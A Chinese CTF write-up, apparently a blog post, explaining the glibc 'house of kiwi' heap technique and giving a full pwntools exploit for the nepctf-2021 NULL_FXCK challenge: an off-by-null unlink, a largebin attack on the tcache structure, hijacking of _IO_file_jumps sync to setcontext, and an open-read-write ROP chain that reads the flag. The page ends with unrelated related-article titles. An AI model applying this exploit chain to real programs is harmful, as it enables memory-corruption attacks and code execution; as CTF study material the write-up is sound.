常回家看看之house_of_kiwi
house of kiwi
前言:house_of_kiwi 一般是通过触发__malloc_assert来刷新IO流,最后可以劫持程序流或者通过和setcontext来打配合来进行栈迁移来得到flag。
我们看看触发的源码
#if IS_IN (libc)
#ifndef NDEBUG
# define __assert_fail(assertion, file, line, function) \
__malloc_assert(assertion, file, line, function)
extern const char *__progname;
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
#endif
#endif
可以看见__malloc_assert调用了__fxprintf
和fflush
,而这个函数调用后会调用_IO_file_jumps
中的sync
指针。
这个指针在_IO_file_jumps
偏移为0x60的位置,那么将这个指针进行劫持,就能达到我们想要的目的,如果题目禁用了execve的话,可以考虑通过setcontext来实现栈迁移
我们看一下这个这个函数
text:0000000000053030 ; __unwind {
.text:0000000000053030 endbr64
.text:0000000000053034 push rdi
.text:0000000000053035 lea rsi, [rdi+128h] ; nset
.text:000000000005303C xor edx, edx ; oset
.text:000000000005303E mov edi, 2 ; how
.text:0000000000053043 mov r10d, 8 ; sigsetsize
.text:0000000000053049 mov eax, 0Eh
.text:000000000005304E syscall ; LINUX - sys_rt_sigprocmask
.text:0000000000053050 pop rdx
.text:0000000000053051 cmp rax, 0FFFFFFFFFFFFF001h
.text:0000000000053057 jnb loc_5317F
.text:000000000005305D mov rcx, [rdx+0E0h]
.text:0000000000053064 fldenv byte ptr [rcx]
.text:0000000000053066 ldmxcsr dword ptr [rdx+1C0h]
.text:000000000005306D mov rsp, [rdx+0A0h] //这里将rdx+0xa0的值赋值给了rsp,也就是我们控制了rdx就控制了rsp
.text:0000000000053074 mov rbx, [rdx+80h]
.text:000000000005307B mov rbp, [rdx+78h]
.text:000000000005307F mov r12, [rdx+48h]
.text:0000000000053083 mov r13, [rdx+50h]
.text:0000000000053087 mov r14, [rdx+58h]
.text:000000000005308B mov r15, [rdx+60h]
.text:000000000005308F test dword ptr fs:48h, 2
.text:000000000005309B jz loc_53156
.text:00000000000530A1 mov rsi, [rdx+3A8h]
.text:00000000000530A8 mov rdi, rsi
.text:00000000000530AB mov rcx, [rdx+3B0h]
.text:00000000000530B2 cmp rcx, fs:78h
.text:00000000000530BB jz short loc_530F5
.text:00000000000530BD
.text:00000000000530BD loc_530BD: ; CODE XREF: setcontext+9E↓j
.text:00000000000530BD mov rax, [rsi-8]
.text:00000000000530C1 and rax, 0FFFFFFFFFFFFFFF8h
.text:00000000000530C5 cmp rax, rsi
.text:00000000000530C8 jz short loc_530D0
.text:00000000000530CA sub rsi, 8
.text:00000000000530CE jmp short loc_530BD
.text:00000000000530D0 ; ---------------------------------------------------------------------------
.text:00000000000530D0
.text:00000000000530D0 loc_530D0: ; CODE XREF: setcontext+98↑j
.text:00000000000530D0 mov rax, 1
.text:00000000000530D7 incsspq rax
.text:00000000000530DC rstorssp qword ptr [rsi-8]
.text:00000000000530E1 saveprevssp
.text:00000000000530E5 mov rax, [rdx+3B0h]
.text:00000000000530EC mov fs:78h, rax
.text:00000000000530F5
.text:00000000000530F5 loc_530F5: ; CODE XREF: setcontext+8B↑j
.text:00000000000530F5 rdsspq rcx
.text:00000000000530FA sub rcx, rdi
.text:00000000000530FD jz short loc_5311C
.text:00000000000530FF neg rcx
.text:0000000000053102 shr rcx, 3
.text:0000000000053106 mov esi, 0FFh
.text:000000000005310B
.text:000000000005310B loc_5310B: ; CODE XREF: setcontext+EA↓j
.text:000000000005310B cmp rcx, rsi
.text:000000000005310E cmovb rsi, rcx
.text:0000000000053112 incsspq rsi
.text:0000000000053117 sub rcx, rsi
.text:000000000005311A ja short loc_5310B
.text:000000000005311C
.text:000000000005311C loc_5311C: ; CODE XREF: setcontext+CD↑j
.text:000000000005311C mov rsi, [rdx+70h]
.text:0000000000053120 mov rdi, [rdx+68h]
.text:0000000000053124 mov rcx, [rdx+98h]
.text:000000000005312B mov r8, [rdx+28h]
.text:000000000005312F mov r9, [rdx+30h]
.text:0000000000053133 mov r10, [rdx+0A8h]
.text:000000000005313A mov rdx, [rdx+88h]
.text:0000000000053141 rdsspq rax
.text:0000000000053146 cmp r10, [rax]
.text:0000000000053149 mov eax, 0
.text:000000000005314E jnz short loc_53153
.text:0000000000053150 push r10
.text:0000000000053152 retn
.text:0000000000053153 ; ---------------------------------------------------------------------------
.text:0000000000053153
.text:0000000000053153 loc_53153: ; CODE XREF: setcontext+11E↑j
.text:0000000000053153 jmp r10
.text:0000000000053156 ; ---------------------------------------------------------------------------
.text:0000000000053156
.text:0000000000053156 loc_53156: ; CODE XREF: setcontext+6B↑j
.text:0000000000053156 mov rcx, [rdx+0A8h] //也可以控制到rcx
.text:000000000005315D push rcx //控制到rip
.text:000000000005315E mov rsi, [rdx+70h]
.text:0000000000053162 mov rdi, [rdx+68h]
.text:0000000000053166 mov rcx, [rdx+98h]
.text:000000000005316D mov r8, [rdx+28h]
.text:0000000000053171 mov r9, [rdx+30h]
.text:0000000000053175 mov rdx, [rdx+88h]
.text:0000000000053175 ; } // starts at 53030
.text:000000000005317C ; __unwind {
.text:000000000005317C xor eax, eax
.text:000000000005317E retn
也就是说控制到rdx + 0xa0 和rdx + 0xa8的位置就可以实现栈迁移,那么就要搞清楚,调用这个指针的时候,rdx是什么,那么就需要调试一下
调用了fflush
这里sync指针已经被我修改变成了setcontext+61的地址
而此时的rdx是 IO_helper_jumps的地址
那么劫持到 IO_helper_jumps + 0xa0即可劫持程序流
小结:想要达到house_of_kiwi需要至少两次任意地址改,修改sync指针,以及IO_helper_jumps +0xa0和0xa8的位置,然后就可以劫持到程序流了,对于2.27以上堆题目来说可以通过劫持tcache bin 结构体来达到任意地址分配,进而达到目的。
相比较其他的house_of系列kiwi要求的条件也比较苛刻,但是它的利用手法并不难,在能满足这个条件的情况下,这种手法还是非常不错的。
例题:nepctf-2021 NULL_FXCK
题目链接:题目
提取码:k5h6
ida逆向分析
add函数规定了申请chunk有大小的限制,最小0x100,最大0x2000
edit函数存在off_by_null漏洞,但是只能使用一次
show函数存在截断
free函数没有UAF漏洞
分析:只有一个off_by_null漏洞,只能使用一次,那么可以通过unlink实现堆块重叠,达到泄露地址的目的,但是本题libc是2.32的libc,还是存在_malloc_hook这些钩子,但是这些被ban掉了,而且开了沙箱保护,我们只能orw读取flag,那么就可以从上面house_of_kiwi下手。首先要做的是unlink,但是这样就需要伪造fd指针和bk指针,以前我们一般是将fd和bk指针指向自身来绕过unlink检查,但是现在我们不能泄露地址,也就是要在无法泄露地址的情况下完成unlink
那么我们可以申请6个堆块,free 0,3,5堆块,那么堆块3的fd和bk就已经确定了,此时想要达到堆块重叠,可以把chunk3的size改大(改到top_chunk这样下次在top_chunk申请堆块时候,free时候,会向上合并),怎么来呢,free掉chunk2,然后chunk2和chunk3会合并,然后申请堆块修改chunk3的size,那么此时,链表就被破坏了
free 0,3,5
chunk2和chunk3合并
chunk3size被修改,同时它的fd和bk指针已经设置好了
此时,剩下两个chunk加入到了largebin中,我们申请出来,但是怎么修改它们的fd和bk指针呢
注意看刚刚chunk3和chunk2合并之后剩下的chunk(称为left_chunk),它的地址只有最低位和chunk3不一样,而且chunk3的地址末位是0,这个是一开始布局的时候这样布置的,因为add有截断,我们可以通过free这个left_chunk和chunk0以前和chunk5来构成链子,最后通过add截断修改掉fd或者bk指针
这里以chunk0为例子,注意他的fd是chunk3+0x20的位置,那么如果截断一下就是chunk3了
同理chunk5也是一样,那么完成这个再伪造一下prev_size即可完成unlink,即可申请堆块达到堆块重叠,泄露地址,但是存在00截断,还需要加入到largebin中泄露libc地址以及heap地址
那么现在泄露地址的问题解决了,还需要实现任意地址写,那么这里涉及一个知识,我们知道管理tcachebin链表是一个结构体在heap起始处
其实这个在tls里面有一个指针指向它只是被映射成了这个地址,我们可以找一下
那么通过largebin 劫持这个地址即可劫持到tcachebin链表实现任意地址写,接下来就是house_of_kiwi,实现栈迁移,提前把orw链子写入到chunk里面
EXP:
from gt import *
con("amd64")
libc = ELF("./libc-2.32.so")
io = process("./NULL_FXCK")
def add(size,msg='\x00'):
io.sendlineafter(">> ",'1')
io.sendlineafter("(: Size: ",str(size))
io.sendafter("(: Content: ",msg)
def edit(index,msg):
io.sendlineafter(">> ",'2')
io.sendlineafter("Index: ",str(index))
io.sendafter("Content: ",msg)
def free(index):
io.sendlineafter(">> ",'3')
io.sendlineafter("Index: ",str(index))
def show(index):
io.sendlineafter(">> ",'4')
io.sendlineafter("Index: ",str(index))
add(0x418) #0
add(0x1f8) #1
add(0x428) #2
add(0x438) #3
add(0x208) #4
add(0x428) #5
add(0x208) #6
free(0)
free(3)
free(5)
gdb.attach(io)
free(2) #chunk3 chunk2 he bing
payload = b'a'*0x428 + p64(0xc91)
add(0x440,payload) #0
#gdb.attach(io)
add(0x418) #2 chunk3 chunk2 leave part
add(0x418) #3 yuanxian chunk0
add(0x428) #5 yuanxian chunk5
free(3)
free(2)
#gdb.attach(io)
add(0x418,'a'*9) #2
add(0x418) #3
free(3)
free(5)
add(0x9f8) #3
add(0x428,'a') #5
payload = b'a'*0x200 + p64(0xc90) + b'\x00'
edit(6,payload)
#gdb.attach(io)
add(0x418)
add(0x208) # fangzhi top_chunk
free(3)
payload = p64(0) *3 + p64(0x421)
add(0x430,payload)
add(0x1600)
show(4)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) -0x6a0 -libc.sym["__malloc_hook"]
suc("libc_base",libc_base)
show(5)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x2b0
suc("heap_base",heap_base)
#gdb.attach(io)
tls_truct = libc_base + 0x1eb578
suc("tls_truct",tls_truct)
open = libc_base + libc.sym["open"]
read = libc_base + libc.sym["read"]
write = libc_base + libc.sym["write"]
setcontext = libc_base + libc.sym["setcontext"]
pop_rdi = libc_base + 0x000000000002858f#: pop rdi; ret;
pop_rsi = libc_base + 0x000000000002ac3f#: pop rsi; ret;
pop_rdx_r12 = libc_base + 0x0000000000114161#: pop rdx; pop r12; ret;
IO_file_jumps = libc_base + 0x1e54c0
IO_hleper_jumps = libc_base + 0x1e48c0
suc("IO_hleper_jumps",IO_hleper_jumps)
ret = libc_base + 0x0000000000026699 #: ret;
payload = b'b'*0x208 + p64(0x431) + b'b'*0x428 + p64(0x211) + b'a'*0x208 + p64(0xa01)
add(0x1240,payload)
free(0) # orw_addr
flag_addr = heap_base + 0x8e0 + 0x100
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr + 0x100) + p64(pop_rdx_r12) + p64(0x40)*2 + p64(read)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr + 0x100) + p64(pop_rdx_r12) + p64(0x40)*2 + p64(write)
orw = orw.ljust(0x100,b'a')
orw += b'flag\x00\x00\x00\x00'
add(0x440,orw) #0
add(0x418) #11
add(0x208) #12
free(5) #unlink big chunk
free(4) # large_bin attack chunk
# chunk5 ----> largebin
payload = b'a'*0x208 + p64(0x431) + p64(libc_base + 0x1e3ff0)*2 + p64(heap_base + 0x1350)
payload += p64(tls_truct - 0x20)
add(0x1240,payload)
free(11)
add(0x500) # wancheng large_bin attack
add(0x410) #11
free(4)
payload = b'a'*0x208 + p64(0x431) + p64(libc_base + 0x1e3ff0)*2 + p64(heap_base + 0x1350)*2
add(0x1240,payload)
fake_tcache = b'\x07\x00' * 0x35
fake_tcache = fake_tcache.ljust(0xe8,b'\x00') + p64(IO_file_jumps + 0x60)
fake_tcache = fake_tcache.ljust(0x168,b'\x00') + p64(IO_hleper_jumps + 0xa0)
fake_tcache += p64(heap_base + 0x46f0) #top_chunk
add(0x420,fake_tcache)
add(0x100,p64(setcontext+61))
add(0x200,p64(heap_base + 0x8e0)+p64(ret))
add(0x210,p64(0x999))
gdb.attach(io)
add(0x1000)
#gdb.attach(io)
io.interactive()
最后效果
常回家看看之house_of_kiwi的更多相关文章
- 《Android插件化开发指南》面世
本书在京东购买地址:https://item.jd.com/31178047689.html 本书Q群:389329264 (一)这是一本什么书 如果只把本书当作纯粹介绍Android插件化技术的书籍 ...
- C 基础框架开发
引言 有的人真的是天命所归 延安时期炸弹 投到他院子都 没炸. 有些事无法改变 是命! 我们也快'老'了, 常回家看看. 前言 扯淡结束了,今天分享的可能有点多,都很简单,但是糅合在一起就是有点复杂. ...
- 利用Swoole实现PHP+websocket直播,即使通讯
websocket Websocket只是一个网络通信协议,就像 http.ftp等都是网络通信的协议一样:相对于HTTP这种非持久的协议来说,Websocket是一个持久化网络通信的协议: WebS ...
- 高中最后一刻&大学第一课&为人师的责任
文章不是技术文,只是分享一些感想,作为一只程序猿,不说好好敲代码,跑出来思考人生,不是合格的程序猿,罪过罪过,自我反思3秒钟,我们继续,毕竟程序猿的人生不只是Coding,也希望自己这点感想被更多刚入 ...
- N1试卷常考词汇总结
免れる まぬがれる 免去,幸免 軽率 けいそつ 轻率,草率 捩れる ねじれる 拧劲儿,扭歪,弯曲 裂ける さける 裂开,破裂 避ける さける 躲避,避开 つまむ 挟,捏,掐 追及 ついきゅう 追上.追 ...
- JavaScript 字符串实用常操纪要
JavaScript 字符串用于存储和处理文本.因此在编写 JS 代码之时她总如影随形,在你处理用户的输入数据的时候,在读取或设置 DOM 对象的属性时,在操作 Cookie 时,在转换各种不同 Da ...
- C++常考面试题汇总
c++面试题 一 用简洁的语言描述 c++ 在 c 语言的基础上开发的一种面向对象编程的语言: 应用广泛: 支持多种编程范式,面向对象编程,泛型编程,和过程化编程:广泛应用于系统开发,引擎开发:支持类 ...
- OCP考点实战演练02-日常维护篇
本系列宗旨:真正掌握OCP考试中所考察的技能,坚决不做Paper OCP! 实验环境:RHEL 6.4 + Oracle 11.2.0.4 OCP考点实战演练02-日常维护篇 1.数据库体系结构和AS ...
- c/c++常见面试题
1. C中static有什么作用 (1)隐藏. 当我们同时编译多个文件时,所有未加static前缀的全局变量和函数都具有全局可见性,故使用static在不同的文件中定义同名函数和同名变量,而不必担心命 ...
- flhs笔试题-回家上机实践
这是最近参加的一个公司的笔试题,回家上机写了下代码,希望对有需要的小伙伴有用,简单实现字符串和数组在指定位置的插入: package org.flhs; import com.google.commo ...
随机推荐
- kafka3.0创建topic出现zookeeper is not a recognized option
在linux云服务器上搭建了一套kafka3.0集群,然后安装以前的创建topic指令,例如这样-- ./kafka-topics.sh --bootstrap-server master:2181, ...
- P2984
[USACO10FEB]Chocolate Giving S 题意描述 Farmer John有B头奶牛(1<=B<=25000),有N(2*B<=N<=50000)个农场,编 ...
- 超级炫酷的终端神器 eDEX-UI
目录 eDEX-UI主要亮点: 优点: 软件简介 安装 Linux Windows 效果 更换皮肤 matrix Tron-disrupted 退出 常见问题解答 eDEX-UI,不仅是一款全屏幕.跨 ...
- [oeasy]python0021_宝剑镶宝石_爱之石中剑_批量替换_特殊字符_特殊颜色
继续运行 回忆上次内容 上次 运行了 game.py 分析了 game.py 也大致读懂了 game.py 添加图片注释,不超过 140 字(可选) 这个 程序 可以进一步 进行修改吗 ...
- layout文本相关
Textview t=findViewById(R.id.t); ONE设置文本内容: 在XML中android:text直接写 在java中setText()中修改 注意点1继承appcompata ...
- java开发环境安装IDEA+jdk1.8
一. 需要得安装包 (1)IDEA破解版.zip (2)jdk1.8.0_25.7z 获取方式(免费): (1) 登录-注册:http://resources.kittytiger.cn/ ...
- LinuxUDP通讯
目录 前言 一.UDP通讯 1.UDP通讯概述 2.UDP的特点 3.UDP的应用 二.UDP基本通讯 1.socket函数 2.bind函数 2.1 主机字节序和网络字节序 2.2 点分制十进制转换 ...
- 【Mybatis-Plus】制作逆向工具
官方文档可参考: https://baomidou.com/pages/779a6e/#快速入门 工具需要的依赖 <?xml version="1.0"?> <p ...
- 【SQL】 去掉最后一段,只保留前段
需求描述: 例如给出这样一个地址或者其他字符: 10.11.12.13 192.168.177.209101.102.103.104.105 ... 要求只保留前面的部分,去掉最后一部分 10.11. ...
- 【Uni-App】UniApp转微信小程序发布应用
参考地址: https://www.jianshu.com/p/a77b73f329e4 第一步,把原始Uni-App项目,转成微信小程序项目 点[发行]-- [小程序-微信(仅适用uni-app)] ...